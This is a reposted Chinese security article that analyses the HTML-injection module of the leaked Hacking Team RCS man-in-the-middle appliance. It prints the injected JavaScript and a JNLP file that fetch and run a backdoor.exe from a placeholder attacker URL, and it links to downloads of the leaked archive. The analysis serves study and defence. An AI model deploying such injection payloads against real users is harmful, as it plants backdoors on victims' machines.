CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

大侠手下留情

2017年5月23日 766点热度 0人点赞 0条评论

大侠手下留情

  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

中间人攻击之html注入

LiukerTeam2016-01-12共210720人围观 ,发现 10 个不明物体系统安全

*原创作者:LiukerTeam

0×00 序

很久之前写的文章,现在拿出来分享。事先声明本人是一枚爱捣鼓的小菜,所以对泄漏资料的分析难免会有疏忽或着错误,望各位围观的大侠手下留情。

今年7月5日晚,一家意大利软件厂商被攻击,其掌握的387.05GB漏洞(包括0day)数据泄露出来,由此可能引发的动荡,引起了业界一片哗然。因为所有文件加起来的大小整整有387.05GB,光下载就得好久好久。在这里我提供一个完整版的百度网盘下载地址,有兴趣的同学可以直接去下载:http://yun.baidu.com/s/1jG8fOxS 。据说之所以这么大是因为里面有很多的邮件。但你不用担心你的小水管,有好人整理了一个只有1.3G的精华版。在这里我也提供一个百度网盘下载地址:http://yun.baidu.com/s/1eQDFm18 。在下载完完整版之前,我们就先拿精华版解解馋吧。

0×01 前言

这里的IPA不是Apple程序应用文件iPhoneApplication的缩写,而是Injection Proxy Appliance的缩写,Injection Proxy Appliance是Galileo Remote Control System(伽利略远程控制系统,简称RCS)的一部分,其主要作用是:

IPA是Hacking Team RCS系统用于攻击的安全设备,并且其中使用中间人攻击技术和streamline injection机制,它可以在不同的网络情况下透明地进行操作,无论是在局域网还是内部交换机上。IPA还可从监控的网络流量中检测HTTP连接,对其进行中间人攻击,主要有三种攻击方式:注入HTML、注入EXE和替换攻击。当监控的HTTP连接命中预先设置的规则时,IPA 将执行注入攻击。IPA 可以设置需要注入的用户(如IP地址),资源(如可执行文件)等规则。

其vector-ipa的源代码在Hacked Team\rcs-dev\share\HOME\Fabio\archive\projects\pc\RCSRedirect文件夹中,其内容如图1。

图1  vector-ipa内容

通过源码发现,这是在Linux环境下使用Makefile文件对整个工程进行编译、连接等的C代码,并且还使用了openssl库。

0×02 攻击原理

基于HTTP/1.0协议的客户机和服务器信息交换的过程包括四个步骤:

(1)建立连接;(2)发送请求;(3)回送响应信息;(4)关闭连接。

IPA通过代理的模式监控的网络流量中检测HTTP连接,并劫持HTTP连接的Http Header,通过修改Http Header内容实现攻击,其攻击流程如图2。

图2  IPA进行http注入攻击流程

从图2中可知,其攻击的最主要的两个步骤就是修改HTTP Request Header和将木马写入HTTP Reply Header。下面重点介绍一下这两步。

0×03  HTTP Request Header

1、将HTTP协议从1.1降到1.0以避免分块编码和其他问题

首先,HTTP/1.0和HTTP/1.1的其中一个区别就是:

(1)HTTP 1.0规定浏览器与服务器只保持短暂的连接,浏览器的每次请求都需要与服务器建立一个TCP连接,服务器完成请求处理后立即断开TCP连接,服务器不跟踪每个客户也不记录过去的请求。如图3所示。

图3  HTTP/1.0连接

(2)HTTP 1.1支持持久连接,在一个TCP连接上可以传送多个HTTP请求和响应,减少了建立和关闭连接的消耗和延迟。一个包含有许多图像的网页文件的多个请求和应答可以在一个连接中传输,但每个单独的网页文件的请求和应答仍然需要使用各自的连接。如图4所示。

图4  HTTP/1.1连接

因为http注入不需要使用持久性连接,所以我们需要修改它为HTTP/1.0协议,这样做的话可以避免分块编码和其他一些问题。

2、强制使用纯编码,以避免任何类型的压缩

HTTP Header中Accept-Encoding是浏览器发给服务器,声明浏览器支持的编码类型的。

常见的有:

Accept-Encoding: compress, gzip //支持compress 和gzip类型
Accept-Encoding:               //默认是identity
Accept-Encoding: *             //支持所有类型 Accept-Encoding: compress;q=0.5, gzip;q=1.0//按顺序支持 gzip , compress
Accept-Encoding: gzip;q=1.0, identity; q=0.5, *;q=0   //按顺序支持 gzip , identity

为了后面更好的修改HTTP Reply Header,需要将Accept-Encoding设置为none,这样可以避免任何类型的压缩,源码如图5所示。

图5  设置Accept-Encoding为none

3、不使用缓存(避免服务器返回304响应)

不使用缓存就是为了更好的得到新的文件,需要删除Cache 头域中的If-Modified-Since和If-None-Match,如图6所示。

图6  删除Cache头域中的If-Modified-Since和If-None-Match

If-Modified-Since

把客户端端缓存页面的最后修改时间发送到服务器去,服务器会把这个时间与服务器上实际文件的最后修改时间进行对比。如果时间一致,那么返回304,客户端就直接使用本地缓存文件。如果时间不一致,就会返回200和新的文件内容。客户端接到之后,会丢弃旧文件,把新文件缓存起来,并显示在浏览器中。如图7所示。

图7  If-Modified-Since

If-None-Match

If-None-Match和ETag一起工作,工作原理是在HTTP Response中添加ETag信息。 当用户再次请求该资源时,将在HTTP Request 中加入If-None-Match信息(ETag的值)。如果服务器验证资源的ETag没有改变(该资源没有更新),将返回一个304状态告诉客户端使用本地缓存文件。否则将返回200状态和新的资源和Etag。如图8所示。

图8  If-None-Match

4、关闭保持连接

我们都知道Connection: keep-alive和Connection: close的区别:

Connection: keep-alive

当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接。

Connection: close

代表一个Request完成后,客户端和服务器之间用于传输HTTP数据的TCP连接会关闭, 当客户端再次发送Request,需要重新建立TCP连接。

前面我们将HTTP协议从1.1降到1.0,为了HTTP Request Header中可能存在Connection: keep-alive而导致后面修改HTTP Reply Header时出问题。

这样我们就把HTTP Request Header修改完成了,接着就是向服务器发送请求啦~

0×04  木马文件

在前面我们把修改之后的HTTP Request Header发送到服务器,这样服务也返回了HTTP Reply Header响应。那接下来的这步也是最关键的一步,就是将木马写入HTTP Reply Header中。

1、读取木马文件内容

在这之前,我们需要对木马文件进行准备检测,如果不存在的话,则返回一个新的BIO。

图9  木马文件准备检测

从上面的木马文件准备检测可以发现,其中木马文件如图10所示。

图10  木马文件

注入的原理就是在HTTP Reply Header的<head>标签中注入一段JavaScript脚本。其JavaScript脚本的内容如下:

<script language="javascript" type="text/javascript">
    if (navigator.platform == "Win32")
    {
        if (navigator.appName == "Microsoft Internet Explorer")
        {
            document.write("<iframe src =\"\" width=\"0\" height=\"0\"></iframe> <object classid=\"clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284\" height=0 width=0 > <param name=\"app\"  value=\"%IPA_URL%/JwsUpdater.jnlp\"> <param name=\"type\" value=\"application/x-java-jnlp-file\"> <param name=\"back\" VALUE=\"false\"> </object> ");
        }
        else
        {
           document.write("<meta http-equiv=\"refresh\" content=\"0;url=%IPA_URL%/JwsUpdater
           jnlp\" />");
        }
    }
</script>

从JavaScript脚本中,发现脚本跳转到一个JwsUpdater.jnlp的文件。先普及一下什么是JNLP?

JNLP(Java Network Launching Protocol )是java提供的一种可以通过浏览器直接执行java应用程序的途径,它使你可以直接通过一个网页上的url连接打开一个java应用程序。
Java桌面应用程序以JNLP 的方式发布,如果版本升级后,不需要再向所有用户发布版本,只需要更新服务器的版本,这就相当于让java应用程序有了web应用的优点。

使用jnlp文件就是为了能够通过浏览器打开一个网页上的URL连接来执行java木马应用程序。

<?xml version="1.0" encoding="utf-8"?>
<jnlp codebase="%IPA_URL%" spec="1.0+">
  <information>
    <title>Java Web Start Updater</title>
    <vendor>%SITE_HOSTNAME%</vendor>
  </information>
  <security>
    <all-permissions/>
  </security>
  <resources>
    <j2se version="1.4.2+"/>
    <jar href="JwsUpdater.jar"/>
  </resources>
  <application-desc main-class="com.sun.JwsInstaller.JwsUpdater">
    <argument>%IPA_URL%/backdoor.exe</argument>
  </application-desc>
</jnlp>

其中,在<resources>标签中发现会把.jar文件下载到本地。而在application-desc设定参数的话,则会以安全的方式来执行jar文件中的com.sun.JwsInstaller.JwsUpdater类,自动加载服务器上的后门程序。

如果检测通过之后,就是将木马文件JwsUpdater.html的内容读取到html_to_inject中。

2、修改IPA_URL

在前面无论是JwsUpdater.html文件,还是JwsUpdater.jnlp文件都有一个“%IPA_URL%”。我需要把“%IPA_URL%”修改为工作服务器的地址。

3、设置搜索关键字和注入缓冲器

木马脚本、服务器网站都修改好,那么万事俱备只欠东风。对的,设置搜索关键字和注入缓冲器就是那阵东风。

先来了解一个结构体:

struct bio_inject_setup {
   char *search;
   char *inject;
   size_t inject_len;
};

其中,有三个成员,分别是搜索关键字(search)、注入木马脚本内容(inject)和注入木马脚本的长度(inject_len)。

前面也提到了,我们的木马内容是一段JavaScript脚本,所以注入木马脚本之处就是html文件中<head>标签内。

0×05  HTTP Reply Header

木马文件都准备好,那么接下来就是把木马文件写入到HTTP Reply Header中。分下面三个步骤:

1、将木马写入HTTP Reply Header

前面我们,设置搜索关键字和注入缓冲器。

在HTTP Reply Header搜索关键字,再把注入缓冲器的内容写入到HTTP Reply Header即可。如图11所示:

图11  将木马写入HTTP Reply Header

2、检查HTTP Reply Header是否gzip压缩

HTTP Reply Header必须采用纯编码,不能对其进行压缩。所以如果发现HTTP Reply Header有压缩的话,则停止攻击。

3、调整HTTP Reply Header的Content-Length属性

前面,在HTTP Reply Header中注入了木马脚本,所以HTTP Reply Header的长度肯定变化了,所以,我们需要调整HTTP Reply Header的Content-Length属性。

到这为止,就差最后一步,就是把HTTP Reply Header发送回客户端。这样就把木马程序种植到客户端。接下来就可以利用后门程序,做一系列的攻击。

*原创作者:LiukerTeam,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

LiukerTeam2 篇文章等级: 2级
|
|
  • 上一篇:安卓智能电视:恶意应用的新战场
  • 下一篇:如何通过配置NGINX和NGINX Plus来缓解DDoS攻击?

这些评论亮了

  • 我是只会做题的大牛回复
    行文太扯了。看图还以为你把freebuf干了呢!
    )9(亮了
发表评论

已有 10 条评论

  • 我是只会做题的大牛 2016-01-12回复1楼

    行文太扯了。看图还以为你把freebuf干了呢!

    亮了(9)
  • 河蟹 2016-01-12回复2楼

    我还以为把那个工具使用起来了呢。但是,打击作者的话来了:为啥要使用html攻击,在攻击之前有啥需求?这篇文章提都没提一下~~

    亮了(3)
  • dsddf 2016-01-12回复3楼

    就是个功能不怎么样的临阵嘛

    亮了(5)
  • anony_mous (1级) 2016-01-12回复4楼

    6666

    亮了(2)
  • JuncoJet 2016-01-12回复5楼

    电信惯用手段 一点不奇怪

    亮了(5)
  • Ravenking (1级) 2016-01-12回复6楼

    求利用方法,谢谢QQ1781837587

    亮了(5)
  • 你个亲爱的 2016-01-12回复7楼

    你个亲爱的

    亮了(1)
  • andy88 (5级)我相信我加入互联网,就是我未来的路、希望有大神关注http:... 2016-01-12回复8楼

    不错不错—

    亮了(3)
  • Nevkiller丶轩轩 (1级)人生为棋,我愿为卒;行动虽慢,谁曾见我后退一步? 2016-01-13回复9楼

    感觉这文章,对于我…..

    亮了(1)
  • God BlessYou (1级) 2016-01-13回复10楼

    折腾了几天终于部署好了,最后发现对方没装JAVA :eek:

    亮了(5)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

LiukerTeam

这家伙太懒,还未填写个人描述!

2 篇文章8 条评论

相关阅读

  • 一次对JSocket远控的分析
  • 中间人攻击-ARP毒化
  • Ruby OpenSSL 私钥伪造脚本
  • 远程控制工具—RAIORemote
  • Scapy,IPTables,Brupsuite在ARP毒化攻击中的实用性技巧

特别推荐

关注我们 分享每日精选文章

不容错过

  • 专注“钓鱼人防”:安全新星企业PhishMe浅析kuma2017-04-19
  • 获取乘客和车主的个人信息?这记Uber逻辑漏洞“组合拳”值得一看ArthurKiller2016-06-28
  • 【企业研究报告】FreeBuf Insight:网络安全创新企业Top 10解读之root9BFreeBuf研究院2016-11-30
  • 检测一下你的专业指数:2015年十大测试工具你认识几个?FireFrank2015-12-29

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me